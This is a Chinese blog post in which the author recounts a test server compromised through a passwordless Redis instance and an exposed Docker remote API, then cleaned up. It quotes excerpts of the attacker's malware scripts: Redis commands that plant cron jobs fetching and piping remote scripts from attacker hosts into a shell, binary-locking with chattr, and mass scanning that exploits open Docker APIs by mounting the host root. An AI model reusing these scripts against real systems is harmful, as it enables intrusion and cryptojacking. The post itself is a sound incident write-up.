今天在打开服务器准备进入docker中的mysql测试sqlmode时,突然发现进不去mysql,然后我一看,mysql挂了,不止mysql,其他应用也全挂了。
然后我尝试重启,启动不了。我打开监控和使用top命令查看进程信息,发现cpu居然占用100%,就有了下面的内容。
我一看,cpu100%,网上查找:kswapd0
占用过高是因为 物理内存不足,使用swap分区与内存换页操作交换数据,导致CPU占用过高。(后来我才领悟,原来这根本不是kswapd0
,而是木马程序伪装的[kswapd0]
,专门骗我这种小白)
可以看到2394这个进程占用cpu最多,于是我看了很久没查出什么问题,于是直接kill 2349
cpu降下来了。。。
可是我又发现还有一个进程9951 pnscan占用比较高,老规矩,打开百度搜一搜
好家伙,还没输完,百度就已经提示我pnscan木马了 于是我意识到服务器被病毒入侵了,立马去找杀毒方案 通过网络搜索,我大概知道是从redis入侵的了 查看刚刚的pnscan进程信息:
看到了熟悉的6379 ,确认从redis入侵无疑了,想起我的redis只是测试使用,所以没有设置密码。
发现pnscan相关进程,全部kill,然后根据上图中的路径删除/usr/local/bin目录下的pnscan脚本
rm -rf pnscan
当我删完,我以为就应该没事了,结果cpu还是占用很高
找了很多方法,还是无法解决
于是我无意间使用 netstat -ant
命令查看了一下网络连接状态
不查不知道,一查吓一跳
2375 ,好熟悉的端口,这不是我前天为了远程连接docker部署项目打开的吗。
一时间我悟了,原来病毒不止一个。
知己知彼百战不殆,于是我就去找到了这篇博文Docker暴露2375端口导致服务器被攻击解决方法!
只需要通过以下命令就可以操作你的docker
docker -H tcp://服务器ip:2375 docker命令
docker官网:
Warning: Changing the default docker daemon binding to a TCP port or Unix docker user group will increase your security risks by allowing non-root users to gain root access on the host. Make sure you control access to docker. If you are binding to a TCP port, anyone with access to that port has full Docker access; so it is not advisable on an open network.
告知了可能会被入侵。
解决办法:目前我先关掉了2375端口远程连接
我是通过修改vim /lib/systemd/system/docker.service
下图是我添加的,把它删掉
然后执行
systemctl daemon-reload
接着继续看[scan]进程
ps -ef |grep scan
进入/usr/share
目录,发现两个可疑的程序,为啥要这么明显?
好奇心让我想看看这shell里面写的啥
[scan] 截取部分
#!/bin/bash
setenforce 0 2>/dev/null
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
function SecureTheSystem(){
SYSFILEARRAY=(pstree kill pkill htop netstat ss lsof wget wge wdl curl cur cdl sysctl )
for SYSFILE in ${SYSFILEARRAY[@]}; do
SYSFILEBIN=`which $SYSFILE` 2>/dev/null 1>/dev/null
tntrecht -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chmod -x $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr +i $SYSFILEBIN 2>/dev/null 1>/dev/null
tntrecht +i $SYSFILEBIN 2>/dev/null 1>/dev/null
done
SYSTEMFILEARRAY=("/root/.ssh/" "/home/*/.ssh/" "/etc/passwd" "/etc/shadow" "/etc/sudoers" "/etc/ssh/" "/etc/ssh/sshd_config")
for SYSTEMFILE in ${SYSTEMFILEARRAY[@]}; do
tntrecht +i -R $SYSTEMFILE 2>/dev/null 1>/dev/null
chattr +i -R $SYSTEMFILE 2>/dev/null 1>/dev/null
done
}
sleep 1
if [ -f "/bin/ps.original" ]
then
ps.original -fe|grep pnscan |grep -v grep
else
ps -fe|grep pnscan |grep -v grep
fi
if [ $? -ne 0 ]
then
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'config set stop-writes-on-bgsave-error no' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n"' >> .dat
echo 'config set dir "/etc/cron.d/"' >> .dat
echo 'config set dbfilename "zzh"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/etc/"' >> .dat
echo 'config set dbfilename "crontab"' >> .dat
echo 'save' >> .dat
sleep 1
pnx=pnscan
[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
while true; do
[mass] 截取部分
#!/bin/bash
if [ -f /bin/cd1 ];then
aabb=/bin/cd1
echo "cd1 exist"
elif [ -f /bin/curl ];then
aabb=/bin/curl
echo "curl exist"
else
echo "curl not exist,use yum reinstall"
yum -y remove curl&&yum -y install curl
fi
chmod +x /usr/bin/zgrab
dAPIpwn(){
range=$1
port=$2
rate=$3
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan $range -p$port --rate=$rate | awk '{print $6}'| zgrab --senders 200 --port $port --http='/v1.16/version' --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";
for ipaddy in ${!rndstr}
do
TARGET=$ipaddy:$port
echo '##################################################'
$aabb -sLk http://107..3.150/input/da.php?vuln=$TARGET -o /dev/null
echo $TARGET
timeout -s SIGKILL 240 docker -H $TARGET run --rm -v /:/mnt alpine chroot /mnt/ /bin/sh -c "if ! type curl >/dev/null;then apt-get install -y curl;apt-get install -y --reinstall curl;yum clean all;yum install -y curl;yum reinstall -y curl;fi;echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\">/etc/crontab && echo \"* * * * * root curl http://107.189.3.150/b2f628/cronb.sh|bash\">/etc/cron.d/zzh"
done
}
额,看不太懂,可以看到的是对我的redis 6379和2375,2376端口都进行了入侵
既然已经备份下来了(后期再分析分析,知己知彼百战不殆嘛),那么就无情rm -rf 了
然后我top
发现有一个进程masscan,无论我怎样kill还是会重启
于是我查看定时任务cd /var/spool/cron/
,找到了原因
话不多说,记录下来之后rm -rf root
好家伙,还是又重启了
经过一段时间查询,搜索,我发现病毒进程不止masscan
最后我找到了关于该挖矿木马的相关文章:腾讯安全截获TeamTNT挖矿木马最新变种,失陷主机被安装IRC后门,攻击者可以实现任意目的
利用Docker remote api未授权访问漏洞攻击,再利用ssh攻击传播,再安装IRC后门,文章提到的利用masscan,zgrab对外扫描占用宽带在上图中可以体现。
接下来卸载massage ,zgrab,但是当我想要卸载时,发现yum也被破坏了
当我尝试修改yum的内容时,告诉我文件只读,然后我修改权限,发现没法修改权限
执行ls -l yum
---xr-xr-x. 1 root root 801 11月 5 2018 yum
一番百度后:chattr -i yum
,再修改yum文件权限,好使了
修改一下yum解释器
我使用find命令查找masscan find -name masscan
,发现bin目录下的可执行文件,直接删除
好家伙,我要哭了,[mass]又出现了,此刻我又发现了一个比较可疑的进程systemd-journal
,搜索一下,好家伙,和systemd-journald
就差一个字母,这玩意儿绝对是木马进程。
捣鼓了一段时间,还是无法彻底解决。然后我kill
掉这个进程,没了,接下来我就观察一下进程的变化,观察了很久都没有出现[mass],但docker容器已经被破坏了。
最后我重置了服务器,更换了Debian系统。
好像是没木马了一样,但是我的环境已经被破坏了,太难受了,系统安全真的很重要,我偶尔会听到朋友(这个朋友就是我)说数据库被黑,被勒索,系统被挖矿,其实这些都是可以避免的,在往后的学习工作中一定会更加注重系统安全,后续也会就该漏洞和病毒进一步学习研究,学习规避方案。
本次服务器被入侵的原因主要是因为redis没有设置密码和docker开启remote api之后没有进行相关验证,不法分子利用程序漏洞进行了攻击,虽然只是学习环境,但以后还是要加强一下安全方面的处理。
附上阿里云漏洞库链接:Docker daemon API 未授权访问漏洞
不过换个角度,我觉得自己又学到了很多知识,增长了经验,再重新搭一遍环境也正好可以巩固一下知识,欢迎大家评论留下宝贵的经验建议。